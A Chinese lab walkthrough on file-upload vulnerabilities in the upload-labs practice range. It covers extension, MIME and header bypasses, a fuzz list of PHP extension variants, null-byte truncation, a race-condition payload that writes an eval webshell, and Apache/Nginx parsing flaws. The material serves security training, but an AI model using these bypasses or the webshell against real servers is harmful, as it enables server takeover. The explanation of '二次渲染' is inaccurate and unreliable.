文章目录
原理
文件上传漏洞的原理在于服务器没有正确验证上传文件的内容或类型,导致攻击者可以上传任意文件,包括恶意脚本(如PHP、ASP等),这些脚本一旦被执行,就可以对服务器进行各种恶意操作。
f8x靶场安装
f8x地址:ffffffff0x/f8x: 红/蓝队环境自动化部署工具 | Red/Blue team environment automation deployment tool (github.com)
upload-lab下载地址:https: //github. com/sqlsec/upload-labs-docker
- 下载两个文件,一个用于安装环境,一个用于当作靶场
- 全部下载到本机,解压,复制到虚拟机
- cd 进入文件夹1.
- 使用命令一键安装(需要代理,虚拟机代理教程:在 Kali Linux 虚拟机中实现主机代理共享的详细指南-CSDN博客)1. bash f8x -d
- 安装完,进入upload-labs-docker文件夹
- 一键部署运行1. sudo docker-compose up -d
文件上传漏洞
前端验证1.
概念1. 服务器的验证放在游览器执行,导致攻击者通过修改前端或者是修改数据包进行绕过验证
步骤:1. 上传文件,捉包修改文件名称即可2.
上传特殊可解析后缀1. #### 概念1. 可以上传一些配置文件,让服务器来执行这些配置文件进而执行图片里的木马2. #### 步骤1. 上传图片马1. 2. 上传.htaccess配置文件1. AddType application/x-httpd-php .png3. 图片以php形式解析1.
::$DATA绕过1. #### 概念1. Windows本地文件系统中的文件流(File Streams) :在Windows shell命令行中,流的完整名称为"filename:stream name:stream type"。2. #### 主要流类型-
::$ATTRIBUTE_LIST
-::$BITMAP
-::$DATA
-::$EA
-::$EA_INFORMATION
-::$FILE_NAME
-::$INDEX_ALLOCATION
-::$INDEX_ROOT
-::$LOGGED_UTILITY_STREAM
-::$OBJECT_ID
-::$REPARSE_POINT
3. 步骤:1. 上传一个webshell,并使用Burp拦截功能。2. 在Burp中将文件名称.php
后面加上::$DATA
,然后forward数据包。3. 文件成功上传到服务器,但名称后缀为.php::$data
。4. 由于Windows的特性,磁盘会忽略::$data
,实际创建的文件为.php
。5. 在浏览器中访问文件路径并去掉::$data
,文件内容被成功执行。点空格绕过1. #### 概念1. 主要利用原理是win系统会自动将“1.jpg.”删除‘.‘所以可以绕过2. #### 代码审计1.
$is_upload = false; $msg = null;if (isset($_POST['submit'])){if (file_exists(UPLOAD_PATH)){ $deny_ext = array("。。。"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name,'.');--à删除空字符 $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA','', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext);//首尾去空 if (!in_array($file_ext, $deny_ext)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name;---》解题关键,结构为文件名前缀加后缀,此时文件名为1.jpg.又因为win系统会自动删除‘.‘所以可以绕过 if (move_uploaded_file($temp_file, $img_path)){ $is_upload = true;}else{ $msg = '上传出错!';}}else{ $msg = '此文件类型不允许上传!';}}else{ $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
3. #### 步骤:1. 上传一个webshell,并使用Burp拦截功能。2. 在文件名称.php
后面加上. .
(两个点中间有一个空格),然后forward数据包。3. 访问上传的文件路径,文件成功被解析执行。文件类型检测1. #### 概念1. 服务器只数据包中的文件类型也要检测,只要修改数据包中的文件类型即可2. ##### 常见的文件类型1. 图片:Content-Type: image/png2. PHP:Content-Type: applicaation/octet-stream2. #### 过程1. 捉包修改文件名和文件类型即可2.
文件头检测1. #### 概念1. 服务器不仅检测数据类型,有时会检测文件头,常用的文件头如下,文件头文件尾2. #### 过程1. 先上传正常图片2. 捉包,将将图片内容删去,保留文件头,修改名称为php3.
黑名单绕过1. 1. #### 概念1. 黑名单绕过的方式有很多,例如利用大小写,双写,特殊的名称等等2. #### 特殊文件爆破1. ##### 常用的文件名1.
phtml php php3 php4 php5 inc pHtml pHp pHp3 pHp4 pHp5 iNc iNc%00 iNc%20%20%20 iNc%20%20%20...%20.%20.. iNc...... inc%00 inc%20%20%20 inc%20%20%20...%20.%20.. inc...... pHp%00 pHp%20%20%20 pHp%20%20%20...%20.%20.. pHp...... pHp3%00 pHp3%20%20%20 pHp3%20%20%20...%20.%20.. pHp3...... pHp4%00 pHp4%20%20%20 pHp4%20%20%20...%20.%20.. pHp4...... pHp5%00 pHp5%20%20%20 pHp5%20%20%20...%20.%20.. pHp5...... pHtml%00 pHtml%20%20%20 pHtml%20%20%20...%20.%20.. pHtml...... php%00 php%20%20%20 php%20%20%20...%20.%20.. php...... php3%00 php3%20%20%20 php3%20%20%20...%20.%20.. php3...... php4%00 php4%20%20%20 php4%20%20%20...%20.%20.. php4...... php5%00 php5%20%20%20 php5%20%20%20...%20.%20.. php5...... phtml%00 phtml%20%20%20 phtml%20%20%20...%20.%20.. phtml......
2. ##### 过程1. 捉包,放进intruder模块,按图配置,即可1. 2. 3. #### 双写1. ##### 过程1. 先上传php文件,捉包双写即可2.%00截断1. #### 概念1. 攻击者可以构造一个文件名,如malicious.php%00.jpg。当服务器处理这个文件名时,如果没有正确处理%00字符,可能只会看到malicious.php(因为%00截断了字符串),从而允许上传一个PHP脚本,而不是一个图片文件。2. #### 条件1. mafic_quote_gpc=off2. php版本小于53.43. #### 过程1. 上传php文件1. 如果url为没有变量的话的话就在这里(记得先url编码)加或者在文件名加1. 2. 如果url有变量就在变量加,因为url上面的1%00会自动解码,就不需要手工解码1.
条件竞争1. #### 概念1. 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查的间隙中,再次生成木马就可以绕过了2. #### 代码审计1.
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH",dirname(__FILE__) . "/upload/");define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'],"", UPLOAD_PATH));if (!file_exists(UPLOAD_PATH)){mkdir(UPLOAD_PATH, 0755);} $is_upload = false;if (!empty($_POST['submit'])){ $name = basename($_FILES['file']['name']); $ext = pathinfo($name)['extension']; $upload_file = UPLOAD_PATH . '/' . $name; $whitelist = array('jpg','png','gif','jpeg');//UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录 if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)){if(in_array($ext,$whitelist)){ $rename_file = rand(10, 99).date("YmdHis").".".$ext; $img_path = UPLOAD_PATH . '/'. $rename_file;rename($upload_file, $img_path); $is_upload = true;}else{ echo "<script>black();</script>";unlink($upload_file);}}} ?>
3. #### 复现流程:1. 上传1.php,捉包,改包1. 插入攻击语句1.<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?> //这个语句就是创建xiao.php,在在其里面写入木马
2. 放入intruder模块中,配置如图1. 2. 3. 开始attack2. 在上传一个访问1.php的包,也就是执行刚才的数据包1. 捉包,放入intruder模块,配置如下,发包1. 2. attack3. 在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php1. 页面发生改变2. 蚁剑连接即可1.二次渲染1. #### 概念1. 二次渲染是指网页加载时,首先由服务器生成并发送一个完整的 HTML 页面,用户立刻看到内容;然后浏览器下载并运行 JavaScript 代码,激活页面上的交互功能,使其变得动态和可交互,从而结合了快速初始加载和丰富用户体验的优势。2. #### 步骤1. 上传文件12. 下载文件23. 放入010进行对比即可4.
Apache HTTPD 换行解析漏洞
(cve-2017-15715)
介绍1. Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,
1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。条件1. apache 2.4.0~2.4.29版本2. 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
复现1. 上传一个php木马,在更改后的名称加一个空格2. 转到16进制,将对应名称后面的20改为0a3. 连接时记得在后面添加上%0a即可
Nginx 文件名逻辑漏洞
(CVE-2013-4547)
原理1. 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
条件1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
复现1. 上传gif数据包,在文件名处加空格与添加执行代码即可1. 2. 访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 001. 3. 发包,执行成功1.
Nginx 解析漏洞
概念1. 由于
nginx.conf
配置将以.php
结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似http://ip/uploadfiles/test.png/.php
的 URL(其中test.png
是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到.php
文件时,php.ini
中的cgi.fix_pathinfo=1
配置会将请求路径修复为上层路径,即test.png
。如果php-fpm.conf
中security.limit_extensions
配置为空,FastCGI 将解析.png
文件为 PHP 代码。为防止此类攻击,应限制php-fpm
仅解析.php
扩展名。条件1. 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。2. php-fpm.conf配置文件未设置成.php
复现1. 上传正常图片,捉包,最后面放入执行代码2. 3. 得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可1.
版权归原作者 CongSec 所有, 如有侵权,请联系我们删除。